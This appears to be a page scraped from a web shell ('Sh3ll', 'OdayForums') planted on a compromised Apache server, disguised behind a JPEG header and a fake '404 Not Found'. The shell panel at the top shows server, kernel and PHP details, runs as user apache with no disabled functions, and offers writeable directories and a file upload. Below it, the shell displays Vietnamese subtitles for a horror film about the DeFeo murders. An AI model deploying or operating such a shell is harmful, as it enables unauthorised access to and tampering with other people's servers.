����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c83f4eb94687-1552151787.vtt
WEBVTT - https://subtitletools.com

00:01:07.933 --> 00:01:10.197
Bắt chúng!

00:01:11.770 --> 00:01:14.295
Giết chúng!

00:02:54.907 --> 00:02:57.034
Có chuyện gì vậy, Ponnie?

00:03:00.779 --> 00:03:02.974
Anh yêu em, Jodie.

00:03:20.165 --> 00:03:21.826
Cảnh sát hạt Suffolk.
Tôi có thể giúp gì?

00:03:22.000 --> 00:03:23.524
Mọi người chết hết rồi

00:03:23.902 --> 00:03:25.665
Cô nói mọi người chết hết là sao?

00:03:25.971 --> 00:03:27.905
Có một người chạy vào quán rượu và nói...

00:03:28.073 --> 00:03:30.439
...bố và mẹ bị bắn.

00:03:30.642 --> 00:03:33.338
Tôi đã thấy rất nhiều vụ án
nhưng không vụ nào như vụ này

00:03:33.512 --> 00:03:36.003
6 thành viên của gia đình được
tìm thấy tối hôm qua...

00:03:36.848 --> 00:03:39.214
...bị bắn trên giường...

00:03:39.551 --> 00:03:41.178
...và giết chết

00:03:42.287 --> 00:03:45.950
Nạn nhân là người buôn bán xe hơi
Ronald Defeo, vợ và 4 đứa con

00:03:46.124 --> 00:03:47.751
Người duy nhất sống sót là...

00:03:47.926 --> 00:03:50.190
...Ronald ''Butch'' Defeo Jr., 23 tuổi...

00:03:50.362 --> 00:03:52.262
...là người tìm ra những xác chết

00:03:52.431 --> 00:03:54.422
Vì sự an toàn của anh ta...

00:03:54.600 --> 00:03:56.761
...cảnh sát đang giữ anh ta ở cơ quan điều tra

00:03:56.935 --> 00:03:59.699
5 nạn nhân được tìm thấy trên giường bị bắn vào đầu

00:04:00.305 --> 00:04:02.034
Nạn nhân thứ 6 được tìm thấy trong tủ quần áo

00:04:03.942 --> 00:04:06.410
Không ai có vẻ là bị đánh thức thật lạ lùng.

00:04:06.578 --> 00:04:10.446
Cảnh sát hạt Suffolk đã
khởi tố Ronald Defeo Jr., 23 tuổi.

00:04:10.616 --> 00:04:12.607
Phạm nhân nói với cảnh sát anh ta
nghe thấy tiếng nói...

00:04:12.784 --> 00:04:16.083
...từ trong căn nhà kêu gọi anh ta giết
gia đình mình.

00:04:30.869 --> 00:04:32.860
Ôi, Chúa ơi!

00:04:33.372 --> 00:04:34.896
Khỉ thật!

00:04:44.216 --> 00:04:46.150
Chào, Michael.

00:04:46.485 --> 00:04:48.146
Này, con yêu, con không sao chứ?

00:04:48.320 --> 00:04:50.311
George, chú làm gì với mẹ cháu vậy?

00:04:51.123 --> 00:04:52.715
Không có gì cả

00:04:52.891 --> 00:04:54.654
Vâng
Anh thật đáng yêu

00:05:02.601 --> 00:05:04.728
Lên đây nào, nhóc

00:05:09.007 --> 00:05:10.872
Con làm được mà

00:05:11.310 --> 00:05:13.540
Ồ, con nặng quá đấy

00:05:18.350 --> 00:05:20.045
Chú gặp bố con chưa?

00:05:21.320 --> 00:05:22.981
Chưa...

00:05:23.221 --> 00:05:24.654
...chưa bao giờ cả con à

00:05:26.158 --> 00:05:27.819
Bây giờ con có thể gọi chú là bố không?

00:05:28.694 --> 00:05:30.321
Đoán thử nào
Sao ạ?

00:05:30.696 --> 00:05:33.392
Con có thể gọi chú là gì cũng được
Gì cũng được?

00:05:33.565 --> 00:05:35.556
Vâng!
Tuyệt quá!

00:05:35.734 --> 00:05:37.634
Gọi gì cũng được!
Tuyệt!

00:05:37.803 --> 00:05:39.430
Vâng

00:05:40.038 --> 00:05:41.903
Stinky.
Dĩ nhiên

00:05:42.074 --> 00:05:43.632
Poopy-Head.
Vâng

00:05:43.809 --> 00:05:45.640
Crap-Monkey-Fart.

00:05:45.811 --> 00:05:49.110
Chúng ta sẽ vẽ một đường đâu đó.

00:05:54.653 --> 00:05:56.484
Được rồi

00:06:03.595 --> 00:06:05.722
Dở tệ
Con không giỡn chứ

00:06:05.897 --> 00:06:07.364
Billy.

00:06:07.833 --> 00:06:10.768
Mọi người sẽ đưa con đến trường

00:06:10.936 --> 00:06:13.905
Mẹ nói gì vậy?
Con không vội, con có thể đi bộ đến trường

00:06:14.072 --> 00:06:16.632
Không được, con bỏ chân xuống đi.

00:06:17.242 --> 00:06:19.369
Mẹ sẽ bỏ con xuống gần đó
Không ai để ý đâu

00:06:19.544 --> 00:06:21.512
Mẹ, con 12 tuổi rồi.
Trước khi con...

00:06:21.680 --> 00:06:24.513
...có buổi tiệc tốt nghiệp, mẹ
vẫn đưa con đến trường

00:06:24.683 --> 00:06:26.617
Hôm nay là một ngày trọng đại

00:06:28.220 --> 00:06:29.778
Sao vậy?
Mọi người đi đâu?

00:06:31.523 --> 00:06:34.219
Mẹ, con có thể giúp mẹ?
Ồ, Michael.

00:06:39.197 --> 00:06:41.324
Nhà ở đây chúng ta không mướn nổi, Kath.

00:06:41.500 --> 00:06:43.195
Không phải cái này

00:06:43.368 --> 00:06:46.963
Vậy sẽ thành sự thật sao
Nghĩ tích cực một chút, đi anh

00:06:47.139 --> 00:06:50.597
Anh cho rằng nhà ở đây sẽ mắc lắm

00:06:52.944 --> 00:06:54.775
Công việc đang tiến triển tốt...

00:06:54.946 --> 00:06:56.174
...chúng ta sẽ...
Kia kìa

00:06:56.348 --> 00:06:57.576
Cái gì?
Nó đó

00:06:58.216 --> 00:06:59.444
Nhìn kìa
Anh yêu

00:06:59.618 --> 00:07:01.415
412 Ocean Avenue.

00:07:07.826 --> 00:07:09.760
Đẹp quá
Sao?

00:07:25.811 --> 00:07:28.245
Nhìn họ thật thân thiện, anh à.

00:07:28.447 --> 00:07:30.938
Họ muốn bán được nên làm như vậy thôi

00:07:31.116 --> 00:07:35.280
Từ từ nào, Kath.
Kathy. Katherine.

00:07:35.987 --> 00:07:37.545
Không thì...

00:07:45.063 --> 00:07:47.088
Chào
Tôi là Katherine Lutz.

00:07:47.265 --> 00:07:49.426
Gọi tôi là Edith.
Đây là chồng cô à?

00:07:49.601 --> 00:07:52.069
George.
Căn nhà thật tuyệt

00:07:52.237 --> 00:07:56.264
Mọi người sẽ thích nó
Đi theo tôi

00:07:57.175 --> 00:07:59.700
Cẩn thận, coi chừng bậc thềm.

00:08:16.628 --> 00:08:19.722
Chúa ơi

00:08:20.599 --> 00:08:22.157
Xin lỗi

00:08:22.334 --> 00:08:24.700
Để tôi cho mọi người xem hết căn nhà

00:08:25.504 --> 00:08:27.904
Chắc chắn là có lỗi

00:08:28.073 --> 00:08:29.370
Sao vậy?

00:08:29.541 --> 00:08:31.702
Không tôi muốn nói đến quảng cáo trên báo.

00:08:32.978 --> 00:08:34.502
Nơi này…

00:08:34.679 --> 00:08:36.840
Có lẽ là in sai
Tôi là nhà thầu...

00:08:37.015 --> 00:08:39.415
...và tôi biết chỗ như vậy đáng
giá bao nhiêu

00:08:39.584 --> 00:08:40.881
Và nếu như...

00:08:41.052 --> 00:08:44.681
...nếu như đây là thật thì đúng là số phận rồi

00:08:45.056 --> 00:08:47.217
Có vấn đề gì chứ?

00:08:48.126 --> 00:08:50.890
Đi thôi
Em thích lắm

00:08:54.199 --> 00:08:57.965
Ở đây có một lịch sử rất kêu.
Lịch sử đó, George.

00:08:58.136 --> 00:09:01.867
Căn nhà đã được xây dựng từ
năm 1692, ít nhất là tầng hầm

00:09:02.407 --> 00:09:04.875
Sau này căn nhà mới được xây thêm

00:09:05.043 --> 00:09:07.534
Nó là căn nhà lâu năm Dutch Colonials
của Long Island.

00:09:07.712 --> 00:09:09.077
Ấn tượng thật

00:09:09.247 --> 00:09:12.375
Căn phòng này thích hợp cho trẻ em nếu hai anh chị có con

00:09:12.551 --> 00:09:16.612
Và phong cảnh thì,
hai anh chị có thể tự thưởng thức

00:09:19.357 --> 00:09:20.984
Có một nhà thuyền kìa

00:09:21.159 --> 00:09:23.127
Mọi người chỉ cần thêm một chiếc thuyền thôi, đúng không?

00:09:23.295 --> 00:09:26.321
Thật ra, George có một chiếc

00:09:26.898 --> 00:09:30.334
Nơi này đường như xây cho mọi người

00:09:40.679 --> 00:09:43.705
Và đây là tầng hầm

00:09:43.882 --> 00:09:47.045
và như mọi người thấy nó rất rộng rãi

00:09:47.218 --> 00:09:49.846
Nó có thể là phòng sinh hoạt
và phòng chơi game

00:09:50.021 --> 00:09:51.852
Xem thử nào

00:09:57.662 --> 00:10:00.688
Tôi sẽ đợi trên đây

00:10:06.304 --> 00:10:08.534
Đúng là một tầng hầm

00:10:08.740 --> 00:10:10.731
Vậy anh nghĩ sao?

00:10:10.909 --> 00:10:15.209
Trong cái áo đó nhìn em thật tuyệt
Thôi đi anh

00:10:26.891 --> 00:10:29.018
Được rồi chứ?

00:10:29.361 --> 00:10:32.353
Nó rất đáng giá với người có tiền

00:10:32.530 --> 00:10:35.624
Nếu chúng ta làm vậy chúng ta
sẽ ăn giấy cả tháng đó

00:10:35.800 --> 00:10:37.461
Nó đáng mà, George.

00:10:37.636 --> 00:10:39.729
Anh đáng được như vậy mà

00:10:39.904 --> 00:10:42.600
Anh nói anh đã làm việc cật lực thế nào

00:10:42.774 --> 00:10:45.436
Kathy, có lẽ hôm nay là ngày chúng ta
phải trả tất cả

00:10:46.244 --> 00:10:48.337
Chúng ta hi sinh một chút thôi
Hi sinh lớn đó

00:10:48.513 --> 00:10:51.505
Em hiểu mà anh yêu...

00:10:51.683 --> 00:10:53.947
...nhưng đây là cuộc sống chúng ta muốn

00:11:09.534 --> 00:11:11.695
Chúng ta vui chứ?
Chúng tôi rất vui

00:11:11.870 --> 00:11:14.395
Cô ấy vui còn tôi thì đau khổ

00:11:16.441 --> 00:11:17.874
Khoan đã

00:11:18.076 --> 00:11:22.308
Tôi muốn hỏi người bán đâu?

00:11:23.448 --> 00:11:25.746
Luôn có người bạn

00:11:27.185 --> 00:11:31.679
Ở đây có một bi kịch, một tội ác...

00:11:31.856 --> 00:11:34.586
...một vụ giết người
Tôi xin lỗi?

00:11:34.826 --> 00:11:36.691
Trong nhà này?

00:11:37.529 --> 00:11:38.996
Vài người, một gia đình

00:11:41.199 --> 00:11:43.633
nhưng chúng tôi đã dọn dẹp

00:11:43.802 --> 00:11:46.498
Chuyện đó đã lâu rồi

00:11:47.272 --> 00:11:49.502
Và căn nhà không sao

00:11:49.674 --> 00:11:51.198
Thật sao

00:11:51.409 --> 00:11:54.037
Mua căn nhà này có kỳ quái quá không em?

00:11:54.212 --> 00:11:56.407
Nhà thì không có giết người

00:11:56.648 --> 00:11:58.912
Mà là người giết người

00:12:00.185 --> 00:12:03.211
Cho chúng tôi ít phút

00:12:04.823 --> 00:12:07.121
Anh nghĩ có được không?

00:12:12.564 --> 00:12:14.361
Em biết không?

00:12:14.799 --> 00:12:17.962
Nếu em muốn thì chúng ta có thể làm được không

00:12:18.136 --> 00:12:20.297
Thật sao?
Anh sẽ làm lại tầng hầm...

00:12:20.472 --> 00:12:22.269
...và em có thể...

00:12:23.241 --> 00:12:25.141
.....bán một đứa con của em
Này.

00:12:25.810 --> 00:12:27.334
Một chút thôi

00:12:42.293 --> 00:12:44.124
Chúng ta giàu rồi!

00:12:44.629 --> 00:12:47.393
Chúng ta giàu cái gì đó chứ không phải tiền

00:12:49.934 --> 00:12:51.401
Khoan đã

00:13:32.277 --> 00:13:34.973
Con cầu nguyện chưa?
Vâng, hai lần rồi

00:13:35.213 --> 00:13:38.979
Con cầu nguyện gì vậy?
Nếu con nói thì chuyện sẽ thành sự thật.

00:13:40.051 --> 00:13:41.814
Sao mẹ không nói sự thật cho nó nghe

00:13:41.986 --> 00:13:44.477
Sao?
Cầu nguyện đâu làm được gì

00:13:44.889 --> 00:13:46.322
William.

00:13:46.524 --> 00:13:50.051
Không ai nói với con khi con cầu
nguyện cho bố sống

00:13:52.197 --> 00:13:54.165
Đừng nói như vậy

00:13:58.670 --> 00:14:01.662
Đôi khi trong cuộc sống có những
chuyện không thể giải thích được, Billy.

00:14:07.779 --> 00:14:09.371
Billy, nhìn mẹ à.

00:14:10.849 --> 00:14:13.716
Mẹ muốn con cho chú George một cơ hội, được chứ?

00:14:14.819 --> 00:14:18.016
Thích chú George không phải là
không thương bố con đâu.

00:14:19.390 --> 00:14:22.018
Chú ấy chỉ muốn làm bạn con...

00:14:22.594 --> 00:14:24.425
...và một ngày nào đó còn hơn thế

00:14:25.029 --> 00:14:28.055
Không ai thay thế được bố con

00:14:30.535 --> 00:14:32.196
Với con cũng vậy?

00:14:32.971 --> 00:14:34.632
Mẹ cũng vậy

00:14:50.088 --> 00:14:51.817
Billy, nó sao rồi?

00:14:52.323 --> 00:14:53.984
Nó không sao

00:14:55.426 --> 00:14:57.553
Cuộc gọi đầu tiên

00:15:00.298 --> 00:15:03.790
Lutz, tôi có thể giúp được gì?
Tôi có thể nói chuyện với con gái không?

00:15:04.068 --> 00:15:08.300
Vâng, dĩ nhiên, chắc rồi...
Cô ấy ở đây ạ. Được rồi

00:15:08.640 --> 00:15:11.234
Là mẹ em thật
và bà ấy không ngừng nói

00:15:11.409 --> 00:15:13.343
Nó làm anh bối rối quá

00:15:13.878 --> 00:15:15.641
Alô?

00:15:16.414 --> 00:15:19.542
Chào mẹ
Chào con.

00:15:19.817 --> 00:15:22.047
Không, chúng con chuyển hết rồi

00:15:24.155 --> 00:15:26.316
Vâng, thưa mẹ
Em lạnh không?

00:15:28.559 --> 00:15:30.390
Không, thưa mẹ

00:15:31.262 --> 00:15:32.126
Vâng.

00:17:37.321 --> 00:17:40.415
Có chuyện gì vậy anh?
Không có gì.

00:17:42.126 --> 00:17:45.152
Anh không sao chứ?
Không

00:17:45.730 --> 00:17:47.664
Anh không khỏe lắm

00:18:03.181 --> 00:18:05.149
Hôn mẹ một cái đi
Con có thể làm, con có thể làm

00:18:05.316 --> 00:18:06.840
Không, con không thể

00:18:07.418 --> 00:18:10.148
Lại đây, lại đây nào

00:18:12.023 --> 00:18:14.890
Cưng ơi, mẹ sẽ đi lấy trà nhé

00:18:22.533 --> 00:18:25.559
Bạn có bao nhiêu anh và chị vậy?

00:18:28.439 --> 00:18:31.272
Chelsea?
Chào mẹ

00:18:31.442 --> 00:18:33.706
Chào con. Con nói chuyện với ai vậy cưng?

00:18:33.878 --> 00:18:37.439
Cô bạn sống trong tủ quần áo của con
Ồ, vậy sao?

00:18:37.615 --> 00:18:39.913
Bạn ấy tên gì?
Jodie.

00:18:40.918 --> 00:18:44.445
Con cũng có nhiều người để chơi trong thị trấn mà?

00:18:44.622 --> 00:18:46.852
Con biết nhưng Jodie nói họ xấu tính lắm

00:18:48.993 --> 00:18:50.255
Jodie à?

00:18:55.933 --> 00:18:58.424
Không, người khác

00:18:58.603 --> 00:19:00.093
Ai?

00:19:00.271 --> 00:19:03.001
Con không thể nói là ai

00:19:04.842 --> 00:19:07.367
Cô ấy nói chúng là lũ khốn

00:19:07.545 --> 00:19:10.036
Con không được nói từ đó

00:19:30.234 --> 00:19:32.429
George, George.

00:19:32.870 --> 00:19:35.634
Nhìn xem con tìm thấy gì nè.
Cái gì vậy? Con tìm thấy ở đâu vậy?

00:19:35.806 --> 00:19:37.034
Harry và con tìm thấy

00:19:37.975 --> 00:19:40.307
Ở đâu?
Dưới tầng hầm

00:19:40.878 --> 00:19:42.436
Không được xuống tầng hầm

00:19:42.613 --> 00:19:44.672
Chỗ đó của chú

00:19:46.417 --> 00:19:48.885
Con nghe chưa, không được xuống dưới đó

00:19:49.654 --> 00:19:51.246
Hiểu chưa?

00:19:58.896 --> 00:20:01.626
Có ai ra phụ mẹ lấy đồ không?

00:20:03.534 --> 00:20:05.934
Đi giúp mẹ con đi

00:20:10.975 --> 00:20:12.772
Chú xin lỗi

00:20:14.412 --> 00:20:15.970
Đi đi

00:20:30.394 --> 00:20:33.420
Anh thấy sao?
Không sao

00:20:34.432 --> 00:20:37.196
Em có gặp một cô trông trẻ khi mua đồ

00:20:37.368 --> 00:20:38.596
Billy sẽ thích lắm

00:20:38.769 --> 00:20:40.760
Chúng ta gọi cô ấy là cô giữ trẻ
nhỏ tuổi được chứ?

00:20:43.407 --> 00:20:44.704
Chelsea đâu?

00:20:46.777 --> 00:20:48.369
Chelsea đâu?

00:20:57.989 --> 00:20:59.786
Chelsea?

00:21:07.431 --> 00:21:08.659
Chelsea?

00:21:09.000 --> 00:21:10.900
Chelsea!

00:21:17.241 --> 00:21:18.640
Chelsea.

00:21:18.809 --> 00:21:20.299
Đưa tay cho mẹ

00:21:20.611 --> 00:21:21.839
Đưa tay cho mẹ đi con

00:21:22.013 --> 00:21:25.414
Chelsea, lại chỗ chú George.
Mau lên, đưa tay cho mẹ

00:21:31.155 --> 00:21:33.885
Con bị sao vậy?
Con có thể bị ngã đó

00:21:34.058 --> 00:21:35.958
Jodie muốn xem con tàu

00:21:39.096 --> 00:21:41.189
Phải có ai đó trông chừng con

00:22:41.392 --> 00:22:44.190
Billy, dậy mau

00:22:44.795 --> 00:22:47.320
Billy, em phải đi vệ sinh

00:25:05.970 --> 00:25:07.403
Chelsea.

00:25:52.049 --> 00:25:53.778
Chết tiệt, Harry.

00:25:56.887 --> 00:25:59.720
Mày muốn giết tao à?

00:27:07.124 --> 00:27:08.614
Tránh ra mau

00:27:08.859 --> 00:27:10.622
Vậy là đủ rồi

00:27:11.128 --> 00:27:12.755
Này!

00:27:21.438 --> 00:27:23.872
George? Anh làm gì dưới đó vậy?

00:27:24.742 --> 00:27:28.007
Đây là nơi duy nhất ấm áp trong nhà

00:27:29.179 --> 00:27:31.306
Ai đó cứ mở cửa sổ

00:27:35.919 --> 00:27:37.648
Cái gì vậy?

00:27:39.590 --> 00:27:41.490
Anh nói với em đi

00:27:43.027 --> 00:27:45.928
Sao anh không đi ngủ đi
Không, anh không ngủ được

00:27:46.096 --> 00:27:47.757
Em xin lỗi anh

00:27:47.931 --> 00:27:49.728
Đừng...

00:27:49.900 --> 00:27:52.630
Đừng nói như anh là con của em vậy, được chứ?

00:27:52.803 --> 00:27:55.363
Sao vậy?
Con chó đó làm cho anh thức

00:27:56.940 --> 00:27:58.737
Chó của Billy.

00:28:00.711 --> 00:28:02.144
Tìm thấy nó trong nhà thuyền

00:28:03.447 --> 00:28:05.938
Nhưng anh khóa rồi mà
Vâng.

00:28:06.116 --> 00:28:08.676
Đoán xem anh tìm thấy gì trong
phòng của Billy.

00:28:16.994 --> 00:28:19.087
Con muốn nói gì về chìa khóa không?

00:28:19.263 --> 00:28:22.460
Có nhiều thứ trên đời này có thể
giải quyết bằng một lời xin lỗi, Billy.

00:28:22.633 --> 00:28:25.033
Con không xin lỗi vì điều con
không làm đâu...

00:28:25.202 --> 00:28:26.499
...George.

00:28:37.781 --> 00:28:39.874
Đi làm việc đi, nhóc

00:28:42.553 --> 00:28:45.044
''Đi làm đi, nhóc''

00:29:14.485 --> 00:29:16.544
''Bắt chúng...''

00:29:18.589 --> 00:29:20.386
George?

00:29:20.891 --> 00:29:22.756
George?

00:29:23.393 --> 00:29:25.486
George, anh ở dưới đó hả?

00:29:27.498 --> 00:29:28.965
George?

00:29:31.502 --> 00:29:32.730
Sao?

00:29:32.903 --> 00:29:34.393
Có chuyện gì vậy?

00:29:36.473 --> 00:29:38.839
Anh lấy mấy cục hít à?

00:29:44.281 --> 00:29:46.579
Không, anh không làm gì cả

00:30:17.014 --> 00:30:18.276
Anh nhìn kinh quá

00:30:18.448 --> 00:30:21.042
Anh làm cho mình xuống sức đó, ông Lutz.

00:30:21.218 --> 00:30:23.709
Cô giữ trẻ đâu rồi?
Cô giữ trẻ?

00:30:23.887 --> 00:30:25.684
Con đã nói là con không cần người giữ trẻ mà

00:30:25.856 --> 00:30:27.983
Con đủ lớn rồi
Mẹ biết là con có thể

00:30:28.158 --> 00:30:32.094
Con không để cho cô ấy trông
chừng con đâu, con không cần

00:30:32.729 --> 00:30:34.697
Cô ấy không đến đâu
Billy, nghe mẹ nè

00:30:34.865 --> 00:30:38.028
Mẹ không để con ở một mình đâu.
Con không thể tin được là mẹ lại mướn người giữ trẻ.

00:30:38.202 --> 00:30:39.794
Con đã nói con đủ lớn rồi
Chào.

00:30:39.970 --> 00:30:42.666
Tôi là Lisa, người giữ trẻ
Tuyệt

00:30:43.273 --> 00:30:45.207
Để tôi giúp cô cởi áo?

00:30:45.475 --> 00:30:47.067
Được.

00:30:49.012 --> 00:30:50.775
Chào.

00:30:52.649 --> 00:30:53.911
Em là Billy.

00:31:03.527 --> 00:31:06.155
Con chắc là con không cần người giữ trẻ chứ?

00:31:06.396 --> 00:31:08.387
Có muốn tôi dẫn cô đi tham quan không?

00:31:08.565 --> 00:31:09.862
Thôi được rồi.

00:31:10.033 --> 00:31:12.695
Tôi biết mà vì tôi đã từng
trông trẻ cho nhà Defeos.

00:31:16.940 --> 00:31:18.840
Thật là điên khi quay lại đây

00:31:19.276 --> 00:31:20.868
Em là Billy.

00:31:21.078 --> 00:31:23.012
Vâng, chị biết rồi

00:31:23.814 --> 00:31:25.941
Ngủ ngon, Billy.

00:31:34.091 --> 00:31:36.082
Chúng ta cần thế này, đúng không?

00:31:36.260 --> 00:31:38.922
Vâng. Đúng vậy.

00:31:39.096 --> 00:31:41.030
Anh thấy không sao chứ?

00:31:41.331 --> 00:31:42.923
Em biết không?

00:31:43.100 --> 00:31:44.931
Anh thấy tốt hơn rồi

00:31:45.903 --> 00:31:48.371
Anh nghĩ anh chỉ cần ra ngoài là được rồi

00:31:48.538 --> 00:31:50.301
Uống đi anh

00:31:50.474 --> 00:31:52.408
Anh muốn chuốc say em à, ông Lutz?

00:31:53.543 --> 00:31:55.807
Đó là điều khoản của hôn nhân mà

00:31:55.979 --> 00:31:57.776
Em đâu có vậy

00:32:05.188 --> 00:32:06.985
Tới liền

00:32:18.068 --> 00:32:19.296
Chị đói không?

00:32:20.337 --> 00:32:22.430
Đúng là hiểu ý

00:32:22.973 --> 00:32:24.235
Bọn trẻ

00:32:24.408 --> 00:32:26.569
Chúng có thời gian rất khó khăn

00:32:26.743 --> 00:32:29.109
Em nghĩ chúng cần có thời gian

00:32:29.279 --> 00:32:31.304
Chúng ta ai cũng vậy mà

00:32:33.183 --> 00:32:35.117
Anh có thấy khác không?

00:32:37.587 --> 00:32:39.248
Ý em là sao?

00:32:39.423 --> 00:32:41.186
Về chúng ta

00:32:42.826 --> 00:32:44.726
Về em

00:32:48.398 --> 00:32:49.626
Vâng.

00:32:49.800 --> 00:32:51.028
Vâng, anh có thấy

00:32:53.003 --> 00:32:57.133
Anh cảm thấy như là lần đầu tiên trong đời

00:32:58.008 --> 00:32:59.839
và đó là em

00:33:01.678 --> 00:33:04.806
Và anh sẽ bỏ cả đời để làm cho em hạnh phúc.

00:33:05.515 --> 00:33:08.416
Anh có biết cách làm cho anh
chàng Lutz đẹp trai này im lặng

00:33:19.162 --> 00:33:21.687
Có người nói lưỡi của anh ta là giả

00:33:23.967 --> 00:33:25.559
Em nghĩ là nó là lưỡi thật của anh ta chứ

00:33:30.874 --> 00:33:32.398
Thật tuyệt

00:33:35.012 --> 00:33:36.809
Vậy em là người Pháp?

00:33:37.347 --> 00:33:38.939
Để àm gì ạ?

00:33:39.116 --> 00:33:41.676
Hôn, lưỡi

00:33:43.620 --> 00:33:45.281
Không

00:33:46.556 --> 00:33:49.116
Nhà em có biết nhà Defeos?

00:33:49.359 --> 00:33:52.692
Gia đình nào?
Gia đình sống trước em ở đây

00:33:55.165 --> 00:33:56.826
Không, tụi em vừa dọn tới

00:33:57.634 --> 00:34:00.398
Em đâu biết chuyện gì xảy ra, phải không?

00:34:01.972 --> 00:34:02.802
Không

00:34:03.473 --> 00:34:05.668
Có lẽ không nên nói em nghe

00:34:08.378 --> 00:34:10.869
Bố mẹ em sẽ giận mất

00:34:12.716 --> 00:34:14.343
Không sao

00:34:18.388 --> 00:34:20.253
Ngưng đi. Bây giờ không phải lúc để chơi

00:34:20.424 --> 00:34:24.884
Em có thể làm đau nó
Dừng lại đi. Để chị làm cho

00:34:25.862 --> 00:34:28.092
Chị sẽ giết nó

00:34:29.966 --> 00:34:32.958
Ronnie, anh chàng từng sống ở đây

00:34:33.770 --> 00:34:36.739
Mọi người nói anh ta kêu anh ta
nghe có giọng nói kêu mình làm vậy

00:34:36.907 --> 00:34:41.207
Gã đó thật khùng, gã nghĩ con chó
làm hắn điên lên

00:34:41.378 --> 00:34:42.743
Nên hắn giết nó

00:34:43.980 --> 00:34:47.609
Vài ngày sau hắn nghĩ gia đình chống đối mình

00:34:48.118 --> 00:34:49.642
Rồi hắn làm gì?

00:34:49.986 --> 00:34:51.283
Giết họ

00:34:52.556 --> 00:34:54.285
Làm sao có thể làm được?

00:34:55.625 --> 00:34:57.559
Làm cái gì?

00:34:57.727 --> 00:35:00.287
Em còn nhỏ quá nên không được nghe

00:35:00.464 --> 00:35:02.557
Bịt tại lại đi

00:35:03.934 --> 00:35:06.459
Và không được nghe

00:35:06.736 --> 00:35:08.397
Súng

00:35:10.774 --> 00:35:13.971
Hắn đi đến từng phòng và bắn từng
người một khi họ đang ngủ

00:35:15.178 --> 00:35:18.341
Hắn giết em của mình trong phòng này

00:35:18.882 --> 00:35:20.679
Ngay đây

00:35:21.685 --> 00:35:23.710
trên những cái giường này

00:35:30.927 --> 00:35:34.192
Vậy mà mấy em còn ngủ được

00:35:37.667 --> 00:35:39.601
Chuyện đó thật bệnh hoạn

00:35:40.637 --> 00:35:42.468
Vâng.

00:35:42.939 --> 00:35:44.668
Chị làm cho mấy em sợ rồi

00:35:46.476 --> 00:35:48.876
Chị trông trẻ dở tệ

00:35:55.051 --> 00:35:57.519
nơi này là một căn phòng nhỏ

00:35:58.021 --> 00:35:59.989
Jodie

00:36:02.025 --> 00:36:04.357
Họ tìm thấy cô bé trong này

00:36:05.128 --> 00:36:07.688
Jodie nói chị là một người trông trẻ không tốt
Sao ạ?

00:36:07.998 --> 00:36:11.229
À, Jodie!
Sao nhỉ? Chết rồi

00:36:11.835 --> 00:36:13.359
Không phải

00:36:13.537 --> 00:36:15.232
Con bé làm cho mình đuổi việc

00:36:19.142 --> 00:36:20.871
Đố chị dám vào trong đó

00:36:22.812 --> 00:36:24.837
Nếu chị làm cho chị tấm hình
Hôn nhé?

00:36:27.050 --> 00:36:28.517
Được rồi.

00:36:29.452 --> 00:36:31.181
Được rồi.

00:36:33.456 --> 00:36:35.686
Chị sẽ làm cho bạn ấy giận đó

00:36:44.801 --> 00:36:46.564
Thôi nào

00:36:48.638 --> 00:36:50.230
Chuyện này không vui đâu

00:36:50.407 --> 00:36:51.840
Billy, Michael.

00:36:54.578 --> 00:36:56.273
Không mở được, không mở được

00:36:56.446 --> 00:36:58.380
Mở cửa ngay
Không được

00:36:58.548 --> 00:37:00.277
Thả chị ra mau

00:37:00.450 --> 00:37:02.441
Billy, Michael.

00:37:03.086 --> 00:37:05.611
Thả chị ra

00:37:06.723 --> 00:37:07.951
Mở cửa đi!

00:37:11.728 --> 00:37:13.093
Có chuyện gì vậy?

00:37:13.496 --> 00:37:14.827
Mở cửa

00:37:15.565 --> 00:37:17.692
Xin chào, Lisa.

00:37:21.471 --> 00:37:23.098
Xem Ronnie làm gì nào

00:37:42.626 --> 00:37:44.287
Thả chị ra!

00:37:45.028 --> 00:37:46.962
Mở cửa đi!

00:37:47.998 --> 00:37:49.465
Mở ra!

00:37:49.633 --> 00:37:52.067
Cứu tôi với. Mở ra!

00:38:02.312 --> 00:38:04.303
Tôi nhìn thấy Jodie.

00:38:04.481 --> 00:38:05.778
Tôi nhìn thấy Jodie.

00:38:05.949 --> 00:38:07.473
Ai là Jodie?

00:38:07.751 --> 00:38:09.776
Một cô bé

00:38:11.488 --> 00:38:13.149
Cô bé chết rồi

00:38:13.323 --> 00:38:15.655
Đáng lẽ là chết rồi

00:38:22.399 --> 00:38:24.890
Chắc chắn có ai nghịch rồi
Con không có nghịch mà

00:38:25.068 --> 00:38:27.536
Là người khác
Là căn nhà này

00:38:27.704 --> 00:38:29.399
Im miệng!

00:38:31.808 --> 00:38:33.366
George.
Anh không chịu nổi nữa

00:38:33.543 --> 00:38:35.340
Anh kiềm chế lại đi

00:38:38.381 --> 00:38:40.212
Những gì các con làm là sai

00:38:40.417 --> 00:38:42.942
Tôi đi, Kathy.
Những gì em nói...

00:38:43.119 --> 00:38:45.053
...những gì em làm không có tác dụng đâu

00:38:46.122 --> 00:38:49.148
Từ bây giờ mọi chuyện phải có kỷ luật

00:38:49.526 --> 00:38:51.619
Căn nhà này tệ quá, mẹ ạ

00:38:52.228 --> 00:38:53.718
Michael

00:38:53.930 --> 00:38:57.832
Không có nhà xấu
Chỉ có người xấu thôi

00:38:59.536 --> 00:39:02.630
Sao không ai nói cho tụi con biết
những người chết ở đây?

00:39:05.742 --> 00:39:08.074
Sao con biết?
Chị trông trẻ nói với con...

00:39:08.244 --> 00:39:11.543
...có hai đứa con trai chết trong phòng con

00:39:17.253 --> 00:39:19.312
Đúng là một con ngốc

00:39:20.990 --> 00:39:23.185
Đi ngủ đi, mai chúng ta nói chuyện

00:39:23.360 --> 00:39:25.590
Con không ngủ trong phòng đó đâu, ghê lắm

00:39:25.762 --> 00:39:28.128
Con cũng vậy
Đừng có làm hành động ngu ngốc đó...

00:39:28.298 --> 00:39:29.788
...và đi ngủ đi

00:39:32.936 --> 00:39:34.528
Mau lên

